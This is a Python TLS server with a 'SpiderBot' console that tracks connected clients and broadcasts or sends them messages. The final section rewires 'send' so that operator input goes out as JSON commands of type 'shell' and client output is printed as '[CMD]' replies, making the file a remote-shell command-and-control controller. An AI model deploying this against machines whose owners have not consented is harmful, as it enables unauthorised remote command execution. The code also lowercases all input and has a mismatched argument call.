#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from datetime import datetime
import socket
import threading
import json
import logging
import sys
import ssl
import os
from tabulate import tabulate


# 配置文件加载
def load_config(config_path='config.json'):
    print(os.path.dirname(os.path.abspath(__file__)))
    with open(config_path, 'r', encoding='utf-8') as f:
        return json.load(f)

# 日志配置
def setup_logging(config):
    log_level = getattr(logging, config.get('log_level', 'INFO').upper(), logging.INFO)
    logging.basicConfig(filename=config['log_file'],
                        level=log_level,
                        format='%(asctime)s - %(levelname)s - %(message)s',
                        encoding='utf-8')  # 显式设置编码为 UTF-8

class Server:
    def __init__(self, config):
        self.config = config
        self.host = config['host']
        self.port = config['port']



        context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
        context.load_cert_chain(certfile='data/ssl/server-cert.pem', keyfile='data/ssl/server-key.pem')  # 加载服务端证书和私钥
        # context.load_verify_locations(CA_FILE)  # 加载根证书
        context.verify_mode = ssl.CERT_NONE  # 不需要客户端提供证书

        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.setup_tcp_keepalive(self.server_socket)
        # # 包装socket
        self.server_socket = context.wrap_socket(self.server_socket, server_side=True)
        self.server_socket.bind((self.host, self.port))
        self.server_socket.listen(5)
        self.clients = {}  # 使用字符串作为键的字典
        self.clientsData = {}  # 使用字符串作为键的字典
        setup_logging(config)
        logging.info("服务器初始化完成")
        print("服务器初始化完成")
    
    # 保活
    def setup_tcp_keepalive(self,sock):
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)  # 30秒无活动后开始发送保活探测
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)  # 保活探测的发送间隔为10秒
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)     # 最多发送3个保活探测

    # 接受客户端连接的线程
    def start_accepting_clients(self):
        threading.Thread(target=self.accept_clients, daemon=True).start()
    
    # 接受新的客户端连接，并为每个连接创建处理线程。
    def accept_clients(self):
        while True:
            try:
                client_socket, client_address = self.server_socket.accept()
                client_key = f"{client_address[0]}:{client_address[1]}"
                self.clients[client_key] = client_socket
                self.clientsData[client_key] = {
                    'name': client_key,
                    'login_time': datetime.now(),
                    'end_time': datetime.now()
                }
                client_socket.settimeout(0.5)  # Set a timeout for socket operations
                logging.info(f"客户端 {client_key} 连接成功")
                print(f"客户端 {client_key} 连接成功")
                threading.Thread(target=self.handle_client, args=(client_socket, client_key)).start()
            except socket.timeout as e:
                logging.error(f"接受客户端连接失败timeout: {e}")
                continue
            except socket.error as e:
                logging.error(f"接受客户端连接失败: {e}")


    def callback(self,client_key,message):
        # print(f"\n{client_key} : {message.rstrip("\n")}",end="")
        message = message.rstrip("\n")
        print(f"\n{client_key} : {message}", end="")



    def handle_client(self, client_socket, client_key):
        try:
            while True:
                try:
                    data = client_socket.recv(1024)
                    if not data:
                        break  # 如果没有接收到数据，退出循环
                    message = data.decode('utf-8').strip()
                    if message:  # 确保接收到的消息不为空
                        self.callback(client_key,message)
                        # logging.info(f"收到来自 {client_key} 的消息: {message}")
                        self.clientsData[client_key]['end_time'] = datetime.now()
                        # 这里可以添加逻辑来处理消息，例如回复或广播
                    else:
                        logging.info("收到空消息，已被忽略。")
                except socket.timeout:
                    # logging.info(f"与 {client_key} 的通信超时，但客户端未断开连接。")
                    continue
        except Exception as e:
            logging.error(f"与客户端 {client_key} 通信出错: {e}")
        finally:
            # 确保客户端套接字被关闭
            client_socket.close()
            self.clients.pop(client_key, None)
            self.clientsData.pop(client_key, None)
            logging.info(f"客户端 {client_key} 的连接已关闭")


    def broadcast_message(self, message):
        for client_key, client_socket in self.clients.items():
            try:
                client_socket.sendall((message + '\n').encode('utf-8'))
            except socket.error as e:
                logging.error(f"向客户端 {client_key} 广播消息失败: {e}")

    def send_message_to_client(self, client_key, message):
        """向指定客户端发送消息，如果消息不为空"""
        if message.strip():  # 确保消息不为空
            if client_key in self.clients:
                try:
                    self.clients[client_key].sendall(message.encode('utf-8'))
                    logging.info(f"消息已发送给 {client_key}")
                except socket.error as e:
                    logging.error(f"向客户端 {client_key} 发送消息失败: {e}")
                    self.clients.pop(client_key, None)  # 如果发送失败，移除客户端
            else:
                logging.warning(f"未找到客户端：{client_key}")
                print(f"未找到客户端：{client_key}")
        else:
            logging.warning("尝试发送空消息，已被忽略。")

    def command_interface(self):
        print("服务端交互式界面启动，输入 'help' 查看可用命令。")
        while True:
            try:
                cmd_input = input("(SpiderBot)> ").strip().lower()

                if cmd_input == "" or cmd_input in "\r\n\t":
                    continue

                cmd_parts = cmd_input.split()

                cmd = cmd_parts[0]
                args = ' '.join(cmd_parts[1:]) if len(cmd_parts) > 1 else None

                if cmd == 'exit':
                    self.shutdown()
                    break
                elif cmd == 'clear':
                    os.system('cls' if os.name == 'nt' else 'clear')
                elif cmd == 'help':
                    self.show_help()
                elif cmd == 'list':
                    self.show_connected_clients()
                elif cmd == 'broadcast':
                    self.broadcast_message(args)
                elif cmd == 'send':
                    self.handle_send_command(args)
                elif cmd == "" :
                    continue
                else:
                    print(f"未知命令 '{cmd_input}'，请输入 'help' 查看帮助。")
            except KeyboardInterrupt:
                print("\n服务端命令行被中断。")
                self.shutdown()
    

    def handle_send_command(self, args):
        parts = args.split()
        if len(parts) < 2:
            print("使用 'send 客户端地址 消息内容' 的格式发送消息给单个客户端。")
            return
        client_key = parts[0]
        message = ' '.join(parts[1:])
        self.send_message_to_client_before(client_key, message ,self)

    def send_message_to_client_before(self,client_key, message,spider):
        self.send_message_to_client(client_key, message,spider)

    def show_help(self):
        help_text = """
服务端支持的命令：
  exit                          关闭服务器
  clear                         清屏
  help                          显示帮助信息
  list                          显示已连接的客户端列表
  broadcast [message]           广播消息给所有客户端
  send [client_key] [message]   发送消息给指定的客户端
"""
        print(help_text)

    def show_connected_clients(self):
        print("已连接的客户端:")
        if self.clientsData:
            res = [['name','login_time','end_time']]

            for k,value in self.clientsData.items():
                res.append([value['name'],value['login_time'],value['end_time']])
                
            print(tabulate(res,headers="firstrow",tablefmt='grid')) #


    def shutdown(self):
        if self.clients:
            for client_socket in self.clients.values():
                client_socket.close()
        self.server_socket.close()
        logging.info("服务器已关闭。")
        sys.exit()

    def run(self):
        self.start_accepting_clients()
        self.command_interface()


def new_callback(client_key,message):
    
    message = message.rstrip("\n")
    print(f"\n\033[31m[CMD]{client_key} : \033[0m \n{message}",end="")


def new_send_message_to_client_before(client_key, message,spider):

    jsondata = {'type':'shell','data':message}
    spider.send_message_to_client(client_key, json.dumps(jsondata))
    
    
if __name__ == '__main__':
    
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    print("starting")
    print(os.path.dirname(os.path.abspath(__file__)))
    config = load_config()
    server = Server(config)
    setattr(server, 'callback', new_callback)
    setattr(server, 'send_message_to_client_before', new_send_message_to_client_before)
    try:
        server.run()
    except KeyboardInterrupt:
        logging.info("服务器被用户中断。")
    finally:
        server.shutdown()